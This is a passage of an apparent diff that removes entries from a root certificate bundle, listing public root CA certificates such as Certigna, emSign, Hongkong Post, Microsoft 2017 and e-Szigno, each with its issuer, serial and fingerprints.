-fwIDAQABo0IwQDAdBgNVHQ4EFgQU2XQ65DA9DfcS3H5aBZ8eNJr34RQwDwYDVR0T -AQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAYYwDQYJKoZIhvcNAQELBQADggIBADaN -l8xCFWQpN5smLNb7rhVpLGsaGvdftvkHTFnq88nIua7Mui563MD1sC3AO6+fcAUR -ap8lTwEpcOPlDOHqWnzcSbvBHiqB9RZLcpHIojG5qtr8nR/zXUACE/xOHAbKsxSQ -VBcZEhrxH9cMaVr2cXj0lH2RC47skFSOvG+hTKv8dGT9cZr4QQehzZHkPJrgmzI5 -c6sq1WnIeJEmMX3ixzDx/BR4dxIOE/TdFpS/S2d7cFOFyrC78zhNLJA5wA3CXWvp -4uXViI3WLL+rG761KIcSF3Ru/H38j9CHJrAb+7lsq+KePRXBOy5nAliRn+/4Qh8s -t2j1da3Ptfb/EX3C8CSlrdP6oDyp+l3cpaDvRKS+1ujl5BOWF3sGPjLtx7dCvHaj -2GU4Kzg1USEODm8uNBNA4StnDG1KQTAYI1oyVZnJF+A83vbsea0rWBmirSwiGpWO -vpaQXUJXxPkUAzUrHC1RVwinOt4/5Mi0A3PCwSaAuwtCH60NryZy2sy+s6ODWA2C -xR9GUeOcGMyNm43sSet1UNWMKFnKdDTajAshqx7qG+XH/RU+wBeq+yNuJkbL+vmx -cmtpzyKEC2IPrNkZAJSidjzULZrtBJ4tBmIQN1IchXIbJ+XMxjHsN+xjWZsLHXbM -fjKaiJUINlK73nZfdklJrX+9ZSCyycErdhh2n1ax ------END CERTIFICATE----- - -# Issuer: CN=Certigna Root CA O=Dhimyotis OU=0002 48146308100036 -# Subject: CN=Certigna Root CA O=Dhimyotis OU=0002 48146308100036 -# Label: "Certigna Root CA" -# Serial: 269714418870597844693661054334862075617 -# MD5 Fingerprint: 0e:5c:30:62:27:eb:5b:bc:d7:ae:62:ba:e9:d5:df:77 -# SHA1 Fingerprint: 2d:0d:52:14:ff:9e:ad:99:24:01:74:20:47:6e:6c:85:27:27:f5:43 -# SHA256 Fingerprint: d4:8d:3d:23:ee:db:50:a4:59:e5:51:97:60:1c:27:77:4b:9d:7b:18:c9:4d:5a:05:95:11:a1:02:50:b9:31:68 ------BEGIN CERTIFICATE----- -MIIGWzCCBEOgAwIBAgIRAMrpG4nxVQMNo+ZBbcTjpuEwDQYJKoZIhvcNAQELBQAw -WjELMAkGA1UEBhMCRlIxEjAQBgNVBAoMCURoaW15b3RpczEcMBoGA1UECwwTMDAw -MiA0ODE0NjMwODEwMDAzNjEZMBcGA1UEAwwQQ2VydGlnbmEgUm9vdCBDQTAeFw0x -MzEwMDEwODMyMjdaFw0zMzEwMDEwODMyMjdaMFoxCzAJBgNVBAYTAkZSMRIwEAYD -VQQKDAlEaGlteW90aXMxHDAaBgNVBAsMEzAwMDIgNDgxNDYzMDgxMDAwMzYxGTAX -BgNVBAMMEENlcnRpZ25hIFJvb3QgQ0EwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAw -ggIKAoICAQDNGDllGlmx6mQWDoyUJJV8g9PFOSbcDO8WV43X2KyjQn+Cyu3NW9sO -ty3tRQgXstmzy9YXUnIo245Onoq2C/mehJpNdt4iKVzSs9IGPjA5qXSjklYcoW9M -CiBtnyN6tMbaLOQdLNyzKNAT8kxOAkmhVECe5uUFoC2EyP+YbNDrihqECB63aCPu -I9Vwzm1RaRDuoXrC0SIxwoKF0vJVdlB8JXrJhFwLrN1CTivngqIkicuQstDuI7pm -TLtipPlTWmR7fJj6o0ieD5Wupxj0auwuA0Wv8HT4Ks16XdG+RCYyKfHx9WzMfgIh -C59vpD++nVPiz32pLHxYGpfhPTc3GGYo0kDFUYqMwy3OU4gkWGQwFsWq4NYKpkDf -ePb1BHxpE4S80dGnBs8B92jAqFe7OmGtBIyT46388NtEbVncSVmurJqZNjBBe3Yz -IoejwpKGbvlw7q6Hh5UbxHq9MfPU0uWZ/75I7HX1eBYdpnDBfzwboZL7z8g81sWT -Co/1VTp2lc5ZmIoJlXcymoO6LAQ6l73UL77XbJuiyn1tJslV1c/DeVIICZkHJC1k -JWumIWmbat10TWuXekG9qxf5kBdIjzb5LdXF2+6qhUVB+s06RbFo5jZMm5BX7CO5 -hwjCxAnxl4YqKE3idMDaxIzb3+KhF1nOJFl0Mdp//TBt2dzhauH8XwIDAQABo4IB -GjCCARYwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYE -FBiHVuBud+4kNTxOc5of1uHieX4rMB8GA1UdIwQYMBaAFBiHVuBud+4kNTxOc5of -1uHieX4rMEQGA1UdIAQ9MDswOQYEVR0gADAxMC8GCCsGAQUFBwIBFiNodHRwczov -L3d3d3cuY2VydGlnbmEuZnIvYXV0b3JpdGVzLzBtBgNVHR8EZjBkMC+gLaArhilo -dHRwOi8vY3JsLmNlcnRpZ25hLmZyL2NlcnRpZ25hcm9vdGNhLmNybDAxoC+gLYYr -aHR0cDovL2NybC5kaGlteW90aXMuY29tL2NlcnRpZ25hcm9vdGNhLmNybDANBgkq -hkiG9w0BAQsFAAOCAgEAlLieT/DjlQgi581oQfccVdV8AOItOoldaDgvUSILSo3L -6btdPrtcPbEo/uRTVRPPoZAbAh1fZkYJMyjhDSSXcNMQH+pkV5a7XdrnxIxPTGRG -HVyH41neQtGbqH6mid2PHMkwgu07nM3A6RngatgCdTer9zQoKJHyBApPNeNgJgH6 -0BGM+RFq7q89w1DTj18zeTyGqHNFkIwgtnJzFyO+B2XleJINugHA64wcZr+shncB -lA2c5uk5jR+mUYyZDDl34bSb+hxnV29qao6pK0xXeXpXIs/NX2NGjVxZOob4Mkdi -o2cNGJHc+6Zr9UhhcyNZjgKnvETq9Emd8VRY+WCv2hikLyhF3HqgiIZd8zvn/yk1 -gPxkQ5Tm4xxvvq0OKmOZK8l+hfZx6AYDlf7ej0gcWtSS6Cvu5zHbugRqh5jnxV/v -faci9wHYTfmJ0A6aBVmknpjZbyvKcL5kwlWj9Omvw5Ip3IgWJJk8jSaYtlu3zM63 -Nwf9JtmYhST/WSMDmu2dnajkXjjO11INb9I/bbEFa0nOipFGc/T2L/Coc3cOZayh -jWZSaX5LaAzHHjcng6WMxwLkFM1JAbBzs/3GkDpv0mztO+7skb6iQ12LAEpmJURw -3kAP+HwV96LOPNdeE4yBFxgX0b3xdxA61GU5wSesVywlVP+i2k+KYTlerj1KjL0= ------END CERTIFICATE----- - -# Issuer: CN=emSign Root CA - G1 O=eMudhra Technologies Limited OU=emSign PKI -# Subject: CN=emSign Root CA - G1 O=eMudhra Technologies Limited OU=emSign PKI -# Label: "emSign Root CA - G1" -# Serial: 235931866688319308814040 -# MD5 Fingerprint: 9c:42:84:57:dd:cb:0b:a7:2e:95:ad:b6:f3:da:bc:ac -# SHA1 Fingerprint: 8a:c7:ad:8f:73:ac:4e:c1:b5:75:4d:a5:40:f4:fc:cf:7c:b5:8e:8c -# SHA256 Fingerprint: 40:f6:af:03:46:a9:9a:a1:cd:1d:55:5a:4e:9c:ce:62:c7:f9:63:46:03:ee:40:66:15:83:3d:c8:c8:d0:03:67 ------BEGIN CERTIFICATE----- -MIIDlDCCAnygAwIBAgIKMfXkYgxsWO3W2DANBgkqhkiG9w0BAQsFADBnMQswCQYD -VQQGEwJJTjETMBEGA1UECxMKZW1TaWduIFBLSTElMCMGA1UEChMcZU11ZGhyYSBU -ZWNobm9sb2dpZXMgTGltaXRlZDEcMBoGA1UEAxMTZW1TaWduIFJvb3QgQ0EgLSBH -MTAeFw0xODAyMTgxODMwMDBaFw00MzAyMTgxODMwMDBaMGcxCzAJBgNVBAYTAklO -MRMwEQYDVQQLEwplbVNpZ24gUEtJMSUwIwYDVQQKExxlTXVkaHJhIFRlY2hub2xv -Z2llcyBMaW1pdGVkMRwwGgYDVQQDExNlbVNpZ24gUm9vdCBDQSAtIEcxMIIBIjAN -BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAk0u76WaK7p1b1TST0Bsew+eeuGQz -f2N4aLTNLnF115sgxk0pvLZoYIr3IZpWNVrzdr3YzZr/k1ZLpVkGoZM0Kd0WNHVO -8oG0x5ZOrRkVUkr+PHB1cM2vK6sVmjM8qrOLqs1D/fXqcP/tzxE7lM5OMhbTI0Aq -d7OvPAEsbO2ZLIvZTmmYsvePQbAyeGHWDV/D+qJAkh1cF+ZwPjXnorfCYuKrpDhM -tTk1b+oDafo6VGiFbdbyL0NVHpENDtjVaqSW0RM8LHhQ6DqS0hdW5TUaQBw+jSzt -Od9C4INBdN+jzcKGYEho42kLVACL5HZpIQ15TjQIXhTCzLG3rdd8cIrHhQIDAQAB -o0IwQDAdBgNVHQ4EFgQU++8Nhp6w492pufEhF38+/PB3KxowDgYDVR0PAQH/BAQD -AgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAFn/8oz1h31x -PaOfG1vR2vjTnGs2vZupYeveFix0PZ7mddrXuqe8QhfnPZHr5X3dPpzxz5KsbEjM -wiI/aTvFthUvozXGaCocV685743QNcMYDHsAVhzNixl03r4PEuDQqqE/AjSxcM6d -GNYIAwlG7mDgfrbESQRRfXBgvKqy/3lyeqYdPV8q+Mri/Tm3R7nrft8EI6/6nAYH -6ftjk4BAtcZsCjEozgyfz7MjNYBBjWzEN3uBL4ChQEKF6dk4jeihU80Bv2noWgby -RQuQ+q7hv53yrlc8pa6yVvSLZUDp/TGBLPQ5Cdjua6e0ph0VpZj3AYHYhX3zUVxx -iN66zB+Afko= ------END CERTIFICATE----- - -# Issuer: CN=emSign ECC Root CA - G3 O=eMudhra Technologies Limited OU=emSign PKI -# Subject: CN=emSign ECC Root CA - G3 O=eMudhra Technologies Limited OU=emSign PKI -# Label: "emSign ECC Root CA - G3" -# Serial: 287880440101571086945156 -# MD5 Fingerprint: ce:0b:72:d1:9f:88:8e:d0:50:03:e8:e3:b8:8b:67:40 -# SHA1 Fingerprint: 30:43:fa:4f:f2:57:dc:a0:c3:80:ee:2e:58:ea:78:b2:3f:e6:bb:c1 -# SHA256 Fingerprint: 86:a1:ec:ba:08:9c:4a:8d:3b:be:27:34:c6:12:ba:34:1d:81:3e:04:3c:f9:e8:a8:62:cd:5c:57:a3:6b:be:6b ------BEGIN CERTIFICATE----- -MIICTjCCAdOgAwIBAgIKPPYHqWhwDtqLhDAKBggqhkjOPQQDAzBrMQswCQYDVQQG -EwJJTjETMBEGA1UECxMKZW1TaWduIFBLSTElMCMGA1UEChMcZU11ZGhyYSBUZWNo -bm9sb2dpZXMgTGltaXRlZDEgMB4GA1UEAxMXZW1TaWduIEVDQyBSb290IENBIC0g -RzMwHhcNMTgwMjE4MTgzMDAwWhcNNDMwMjE4MTgzMDAwWjBrMQswCQYDVQQGEwJJ -TjETMBEGA1UECxMKZW1TaWduIFBLSTElMCMGA1UEChMcZU11ZGhyYSBUZWNobm9s -b2dpZXMgTGltaXRlZDEgMB4GA1UEAxMXZW1TaWduIEVDQyBSb290IENBIC0gRzMw -djAQBgcqhkjOPQIBBgUrgQQAIgNiAAQjpQy4LRL1KPOxst3iAhKAnjlfSU2fySU0 -WXTsuwYc58Byr+iuL+FBVIcUqEqy6HyC5ltqtdyzdc6LBtCGI79G1Y4PPwT01xyS -fvalY8L1X44uT6EYGQIrMgqCZH0Wk9GjQjBAMB0GA1UdDgQWBBR8XQKEE9TMipuB -zhccLikenEhjQjAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAKBggq -hkjOPQQDAwNpADBmAjEAvvNhzwIQHWSVB7gYboiFBS+DCBeQyh+KTOgNG3qxrdWB -CUfvO6wIBHxcmbHtRwfSAjEAnbpV/KlK6O3t5nYBQnvI+GDZjVGLVTv7jHvrZQnD -+JbNR6iC8hZVdyR+EhCVBCyj ------END CERTIFICATE----- - -# Issuer: CN=emSign Root CA - C1 O=eMudhra Inc OU=emSign PKI -# Subject: CN=emSign Root CA - C1 O=eMudhra Inc OU=emSign PKI -# Label: "emSign Root CA - C1" -# Serial: 825510296613316004955058 -# MD5 Fingerprint: d8:e3:5d:01:21:fa:78:5a:b0:df:ba:d2:ee:2a:5f:68 -# SHA1 Fingerprint: e7:2e:f1:df:fc:b2:09:28:cf:5d:d4:d5:67:37:b1:51:cb:86:4f:01 -# SHA256 Fingerprint: 12:56:09:aa:30:1d:a0:a2:49:b9:7a:82:39:cb:6a:34:21:6f:44:dc:ac:9f:39:54:b1:42:92:f2:e8:c8:60:8f ------BEGIN CERTIFICATE----- -MIIDczCCAlugAwIBAgILAK7PALrEzzL4Q7IwDQYJKoZIhvcNAQELBQAwVjELMAkG -A1UEBhMCVVMxEzARBgNVBAsTCmVtU2lnbiBQS0kxFDASBgNVBAoTC2VNdWRocmEg -SW5jMRwwGgYDVQQDExNlbVNpZ24gUm9vdCBDQSAtIEMxMB4XDTE4MDIxODE4MzAw -MFoXDTQzMDIxODE4MzAwMFowVjELMAkGA1UEBhMCVVMxEzARBgNVBAsTCmVtU2ln -biBQS0kxFDASBgNVBAoTC2VNdWRocmEgSW5jMRwwGgYDVQQDExNlbVNpZ24gUm9v -dCBDQSAtIEMxMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAz+upufGZ -BczYKCFK83M0UYRWEPWgTywS4/oTmifQz/l5GnRfHXk5/Fv4cI7gklL35CX5VIPZ -HdPIWoU/Xse2B+4+wM6ar6xWQio5JXDWv7V7Nq2s9nPczdcdioOl+yuQFTdrHCZH -3DspVpNqs8FqOp099cGXOFgFixwR4+S0uF2FHYP+eF8LRWgYSKVGczQ7/g/IdrvH -GPMF0Ybzhe3nudkyrVWIzqa2kbBPrH4VI5b2P/AgNBbeCsbEBEV5f6f9vtKppa+c -xSMq9zwhbL2vj07FOrLzNBL834AaSaTUqZX3noleoomslMuoaJuvimUnzYnu3Yy1 -aylwQ6BpC+S5DwIDAQABo0IwQDAdBgNVHQ4EFgQU/qHgcB4qAzlSWkK+XJGFehiq -TbUwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEL -BQADggEBAMJKVvoVIXsoounlHfv4LcQ5lkFMOycsxGwYFYDGrK9HWS8mC+M2sO87 -/kOXSTKZEhVb3xEp/6tT+LvBeA+snFOvV71ojD1pM/CjoCNjO2RnIkSt1XHLVip4 -kqNPEjE2NuLe/gDEo2APJ62gsIq1NnpSob0n9CAnYuhNlCQT5AoE6TyrLshDCUrG -YQTlSTR+08TI9Q/Aqum6VF7zYytPT1DU/rl7mYw9wC68AivTxEDkigcxHpvOJpkT -+xHqmiIMERnHXhuBUDDIlhJu58tBf5E7oke3VIAb3ADMmpDqw8NQBmIMMMAVSKeo -WXzhriKi4gp6D/piq1JM4fHfyr6DDUI= ------END CERTIFICATE----- - -# Issuer: CN=emSign ECC Root CA - C3 O=eMudhra Inc OU=emSign PKI -# Subject: CN=emSign ECC Root CA - C3 O=eMudhra Inc OU=emSign PKI -# Label: "emSign ECC Root CA - C3" -# Serial: 582948710642506000014504 -# MD5 Fingerprint: 3e:53:b3:a3:81:ee:d7:10:f8:d3:b0:1d:17:92:f5:d5 -# SHA1 Fingerprint: b6:af:43:c2:9b:81:53:7d:f6:ef:6b:c3:1f:1f:60:15:0c:ee:48:66 -# SHA256 Fingerprint: bc:4d:80:9b:15:18:9d:78:db:3e:1d:8c:f4:f9:72:6a:79:5d:a1:64:3c:a5:f1:35:8e:1d:db:0e:dc:0d:7e:b3 ------BEGIN CERTIFICATE----- -MIICKzCCAbGgAwIBAgIKe3G2gla4EnycqDAKBggqhkjOPQQDAzBaMQswCQYDVQQG -EwJVUzETMBEGA1UECxMKZW1TaWduIFBLSTEUMBIGA1UEChMLZU11ZGhyYSBJbmMx -IDAeBgNVBAMTF2VtU2lnbiBFQ0MgUm9vdCBDQSAtIEMzMB4XDTE4MDIxODE4MzAw -MFoXDTQzMDIxODE4MzAwMFowWjELMAkGA1UEBhMCVVMxEzARBgNVBAsTCmVtU2ln -biBQS0kxFDASBgNVBAoTC2VNdWRocmEgSW5jMSAwHgYDVQQDExdlbVNpZ24gRUND -IFJvb3QgQ0EgLSBDMzB2MBAGByqGSM49AgEGBSuBBAAiA2IABP2lYa57JhAd6bci -MK4G9IGzsUJxlTm801Ljr6/58pc1kjZGDoeVjbk5Wum739D+yAdBPLtVb4Ojavti -sIGJAnB9SMVK4+kiVCJNk7tCDK93nCOmfddhEc5lx/h//vXyqaNCMEAwHQYDVR0O -BBYEFPtaSNCAIEDyqOkAB2kZd6fmw/TPMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMB -Af8EBTADAQH/MAoGCCqGSM49BAMDA2gAMGUCMQC02C8Cif22TGK6Q04ThHK1rt0c -3ta13FaPWEBaLd4gTCKDypOofu4SQMfWh0/434UCMBwUZOR8loMRnLDRWmFLpg9J -0wD8ofzkpf9/rdcw0Md3f76BB1UwUCAU9Vc4CqgxUQ== ------END CERTIFICATE----- - -# Issuer: CN=Hongkong Post Root CA 3 O=Hongkong Post -# Subject: CN=Hongkong Post Root CA 3 O=Hongkong Post -# Label: "Hongkong Post Root CA 3" -# Serial: 46170865288971385588281144162979347873371282084 -# MD5 Fingerprint: 11:fc:9f:bd:73:30:02:8a:fd:3f:f3:58:b9:cb:20:f0 -# SHA1 Fingerprint: 58:a2:d0:ec:20:52:81:5b:c1:f3:f8:64:02:24:4e:c2:8e:02:4b:02 -# SHA256 Fingerprint: 5a:2f:c0:3f:0c:83:b0:90:bb:fa:40:60:4b:09:88:44:6c:76:36:18:3d:f9:84:6e:17:10:1a:44:7f:b8:ef:d6 ------BEGIN CERTIFICATE----- -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 -mpv0 ------END CERTIFICATE----- - -# Issuer: CN=Microsoft ECC Root Certificate Authority 2017 O=Microsoft Corporation -# Subject: CN=Microsoft ECC Root Certificate Authority 2017 O=Microsoft Corporation -# Label: "Microsoft ECC Root Certificate Authority 2017" -# Serial: 136839042543790627607696632466672567020 -# MD5 Fingerprint: dd:a1:03:e6:4a:93:10:d1:bf:f0:19:42:cb:fe:ed:67 -# SHA1 Fingerprint: 99:9a:64:c3:7f:f4:7d:9f:ab:95:f1:47:69:89:14:60:ee:c4:c3:c5 -# SHA256 Fingerprint: 35:8d:f3:9d:76:4a:f9:e1:b7:66:e9:c9:72:df:35:2e:e1:5c:fa:c2:27:af:6a:d1:d7:0e:8e:4a:6e:dc:ba:02 ------BEGIN CERTIFICATE----- -MIICWTCCAd+gAwIBAgIQZvI9r4fei7FK6gxXMQHC7DAKBggqhkjOPQQDAzBlMQsw -CQYDVQQGEwJVUzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMTYwNAYD -VQQDEy1NaWNyb3NvZnQgRUNDIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIw -MTcwHhcNMTkxMjE4MjMwNjQ1WhcNNDIwNzE4MjMxNjA0WjBlMQswCQYDVQQGEwJV -UzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMTYwNAYDVQQDEy1NaWNy -b3NvZnQgRUNDIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIwMTcwdjAQBgcq -hkjOPQIBBgUrgQQAIgNiAATUvD0CQnVBEyPNgASGAlEvaqiBYgtlzPbKnR5vSmZR -ogPZnZH6thaxjG7efM3beaYvzrvOcS/lpaso7GMEZpn4+vKTEAXhgShC48Zo9OYb -hGBKia/teQ87zvH2RPUBeMCjVDBSMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8E -BTADAQH/MB0GA1UdDgQWBBTIy5lycFIM+Oa+sgRXKSrPQhDtNTAQBgkrBgEEAYI3 -FQEEAwIBADAKBggqhkjOPQQDAwNoADBlAjBY8k3qDPlfXu5gKcs68tvWMoQZP3zV -L8KxzJOuULsJMsbG7X7JNpQS5GiFBqIb0C8CMQCZ6Ra0DvpWSNSkMBaReNtUjGUB -iudQZsIxtzm6uBoiB078a1QWIP8rtedMDE2mT3M= ------END CERTIFICATE----- - -# Issuer: CN=Microsoft RSA Root Certificate Authority 2017 O=Microsoft Corporation -# Subject: CN=Microsoft RSA Root Certificate Authority 2017 O=Microsoft Corporation -# Label: "Microsoft RSA Root Certificate Authority 2017" -# Serial: 40975477897264996090493496164228220339 -# MD5 Fingerprint: 10:ff:00:ff:cf:c9:f8:c7:7a:c0:ee:35:8e:c9:0f:47 -# SHA1 Fingerprint: 73:a5:e6:4a:3b:ff:83:16:ff:0e:dc:cc:61:8a:90:6e:4e:ae:4d:74 -# SHA256 Fingerprint: c7:41:f7:0f:4b:2a:8d:88:bf:2e:71:c1:41:22:ef:53:ef:10:eb:a0:cf:a5:e6:4c:fa:20:f4:18:85:30:73:e0 ------BEGIN CERTIFICATE----- -MIIFqDCCA5CgAwIBAgIQHtOXCV/YtLNHcB6qvn9FszANBgkqhkiG9w0BAQwFADBl -MQswCQYDVQQGEwJVUzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMTYw -NAYDVQQDEy1NaWNyb3NvZnQgUlNBIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5 -IDIwMTcwHhcNMTkxMjE4MjI1MTIyWhcNNDIwNzE4MjMwMDIzWjBlMQswCQYDVQQG -EwJVUzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMTYwNAYDVQQDEy1N -aWNyb3NvZnQgUlNBIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIwMTcwggIi -MA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDKW76UM4wplZEWCpW9R2LBifOZ -Nt9GkMml7Xhqb0eRaPgnZ1AzHaGm++DlQ6OEAlcBXZxIQIJTELy/xztokLaCLeX0 -ZdDMbRnMlfl7rEqUrQ7eS0MdhweSE5CAg2Q1OQT85elss7YfUJQ4ZVBcF0a5toW1 -HLUX6NZFndiyJrDKxHBKrmCk3bPZ7Pw71VdyvD/IybLeS2v4I2wDwAW9lcfNcztm -gGTjGqwu+UcF8ga2m3P1eDNbx6H7JyqhtJqRjJHTOoI+dkC0zVJhUXAoP8XFWvLJ -jEm7FFtNyP9nTUwSlq31/niol4fX/V4ggNyhSyL71Imtus5Hl0dVe49FyGcohJUc -aDDv70ngNXtk55iwlNpNhTs+VcQor1fznhPbRiefHqJeRIOkpcrVE7NLP8TjwuaG -YaRSMLl6IE9vDzhTyzMMEyuP1pq9KsgtsRx9S1HKR9FIJ3Jdh+vVReZIZZ2vUpC6 -W6IYZVcSn2i51BVrlMRpIpj0M+Dt+VGOQVDJNE92kKz8OMHY4Xu54+OU4UZpyw4K -UGsTuqwPN1q3ErWQgR5WrlcihtnJ0tHXUeOrO8ZV/R4O03QK0dqq6mm4lyiPSMQH -+FJDOvTKVTUssKZqwJz58oHhEmrARdlns87/I6KJClTUFLkqqNfs+avNJVgyeY+Q -W5g5xAgGwax/Dj0ApQIDAQABo1QwUjAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/ -BAUwAwEB/zAdBgNVHQ4EFgQUCctZf4aycI8awznjwNnpv7tNsiMwEAYJKwYBBAGC -NxUBBAMCAQAwDQYJKoZIhvcNAQEMBQADggIBAKyvPl3CEZaJjqPnktaXFbgToqZC -LgLNFgVZJ8og6Lq46BrsTaiXVq5lQ7GPAJtSzVXNUzltYkyLDVt8LkS/gxCP81OC -gMNPOsduET/m4xaRhPtthH80dK2Jp86519efhGSSvpWhrQlTM93uCupKUY5vVau6 -tZRGrox/2KJQJWVggEbbMwSubLWYdFQl3JPk+ONVFT24bcMKpBLBaYVu32TxU5nh -SnUgnZUP5NbcA/FZGOhHibJXWpS2qdgXKxdJ5XbLwVaZOjex/2kskZGT4d9Mozd2 -TaGf+G0eHdP67Pv0RR0Tbc/3WeUiJ3IrhvNXuzDtJE3cfVa7o7P4NHmJweDyAmH3 -pvwPuxwXC65B2Xy9J6P9LjrRk5Sxcx0ki69bIImtt2dmefU6xqaWM/5TkshGsRGR -xpl/j8nWZjEgQRCHLQzWwa80mMpkg/sTV9HB8Dx6jKXB/ZUhoHHBk2dxEuqPiApp -GWSZI1b7rCoucL5mxAyE7+WL85MB+GqQk2dLsmijtWKP6T+MejteD+eMuMZ87zf9 -dOLITzNy4ZQ5bb0Sr74MTnB8G2+NszKTc0QWbej09+CVgI+WXTik9KveCjCHk9hN -AHFiRSdLOkKEW39lt2c0Ui2cFmuqqNh7o0JMcccMyj6D5KbvtwEwXlGjefVwaaZB -RA+GsCyRxj3qrg+E ------END CERTIFICATE----- - -# Issuer: CN=e-Szigno Root CA 2017 O=Microsec Ltd. -# Subject: CN=e-Szigno Root CA 2017 O=Microsec Ltd. -# Label: "e-Szigno Root CA 2017" -# Serial: 411379200276854331539784714 -# MD5 Fingerprint: de:1f:f6:9e:84:ae:a7:b4:21:ce:1e:58:7d:d1:84:98 -# SHA1 Fingerprint: 89:d4:83:03:4f:9e:9a:48:80:5f:72:37:d4:a9:a6:ef:cb:7c:1f:d1 -# SHA256 Fingerprint: be:b0:0b:30:83:9b:9b:c3:2c:32:e4:44:79:05:95:06:41:f2:64:21:b1:5e:d0:89:19:8b:51:8a:e2:ea:1b:99 ------BEGIN CERTIFICATE----- -MIICQDCCAeWgAwIBAgIMAVRI7yH9l1kN9QQKMAoGCCqGSM49BAMCMHExCzAJBgNV -BAYTAkhVMREwDwYDVQQHDAhCdWRhcGVzdDEWMBQGA1UECgwNTWljcm9zZWMgTHRk -LjEXMBUGA1UEYQwOVkFUSFUtMjM1ODQ0OTcxHjAcBgNVBAMMFWUtU3ppZ25vIFJv -b3QgQ0EgMjAxNzAeFw0xNzA4MjIxMjA3MDZaFw00MjA4MjIxMjA3MDZaMHExCzAJ 